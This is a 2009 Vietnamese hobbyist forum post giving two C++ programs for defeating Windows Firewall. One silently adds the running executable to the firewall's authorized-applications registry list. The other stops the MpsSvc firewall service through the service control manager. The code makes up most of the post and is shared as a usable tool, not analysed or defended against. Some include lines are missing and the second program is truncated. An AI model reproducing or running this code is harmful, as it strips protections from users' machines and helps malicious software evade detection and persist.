..::Cộng Đồng Teen Việt::..
Chào mừng bạn đến với diễn đàn Vboy.4rumer.net Chỉ có thành viên của Vboy.4rumer.net mới có thể xem được toàn bộ liên kết bên trong. Chúc các bạn có 1 nơi giải trí thật lành mạnh dành cho tuổi teen !!!
Vui lòng ĐĂNG NHẬP để xem tiếp. Hoặc ĐĂNG KÝ MỚI





IndexCalendarTrợ giúpTìm kiếmThành viênĐăng kýĐăng Nhập




Copyright © 2008-2009 vboy.us.to . All rights reserved

Share|
Tiêuđề

Dung C++ Kill tường lửa của windows

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down
Tác giảThông điệp

nhok_BBOY_vboy
Thành Viên Thân Thiết

Yahoo anhchangdaigai035@yahoo.com Bài gửi Bài gửi : 661
Gold Gold : 1224340
Join date Join date : 08/09/2009

Tài năng của nhok_BBOY_vboy Người này hiện đang:
Level: Thành Viên Thân Thiết
Danh vọng:661%/%
Tài năng:%/100%

Bài gửiTiêu đề: Dung C++ Kill tường lửa của windows Wed Sep 30, 2009 11:33 pm

1. Tác động đến Registry :

Code :

#define WIN32_LEAN_AND_MEAN
#include
#include
using namespace std;

char fwAuthApp[1024];

//----------------------------------------------------------------------//

char* GetRegKey()
{
HKEY hk = 0;

RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select", &hk);
int i;
DWORD sz = 4;

if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i ,&sz) == ERROR_SUCCESS)
{
sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Service s\\SharedAccess\\Parameters\\FirewallPolicy\\Stand ardProfile\\AuthorizedApplications\\List",i);
}
RegCloseKey(hk);
return fwAuthApp;
}

//----------------------------------------------------------------------//


void AddException(string path)
{
HKEY hk;
DWORD dw;

string skey = path + " : * :Enabled:@xpsp2res.dll,-22019";

RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
GetRegKey(),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&hk,
&dw
);

RegSetValueExA(
hk,
path.c_str(),
0,
REG_SZ,
(BYTE*)skey.c_str(),
(DWORD)skey.length()
);

RegCloseKey(hk);
}

//----------------------------------------------------------------------//


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char *CmdLineA, *Location;

CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
return 0;
}

//----------------------------------------------------------------------//



2. Kill File driver :


#include
#include

int WFDisable( );

//----------------------------------------------------------------------//


int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
int wf;
TCHAR s[20];
wf = WFDisable( );
if( wf == 0 ) {
MessageBoxA(0,"success","Coder_gate",0);
}
else {
sprintf(s,"Error %d",wf);
MessageBoxA(0,s,"Coder_gate",0);
}
return 0;
}

//----------------------------------------------------------------------//


int WFDisable()
{
SERVICE_STATUS sStatus;

SC_HANDLE hManager = OpenSCManager( NULL, NULL, 0xF003F );
if( hManager == NULL ) {
return( 1 );
}
SC_HANDLE hService = OpenService( hManager, (const char*)"MpsSvc", SERVICE_ALL_ACCESS );
if( hService == NULL ) {
return( 2 );
}
BOOL bControl = ControlService( hService, SERVICE_CONTROL_STOP, &sStatus );
if( bControl == 0 )
{
return( 3 );
}
CloseServiceHandle( hManager );
CloseServiceHandle( hService );
return( 0 );


Hãy cảmơn bài viết của nhok_BBOY_vboy bằng cách bấm vào "" nhé!!!

Về Đầu Trang Go down

Tiêuđề

Dung C++ Kill tường lửa của windows

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang
Trang 1 trong tổng số 1 trang
.::Host up ảnh miểnphí: Clickhere! - Hướng dẩn sử dụng Diễn đàn:Clickhere!::.
Permissions in this forum:Bạn không có quyền trả lời bài viết
..::Cộng Đồng Teen Việt::.. :: Thế Giới Học Tập :: Thế Giới IT-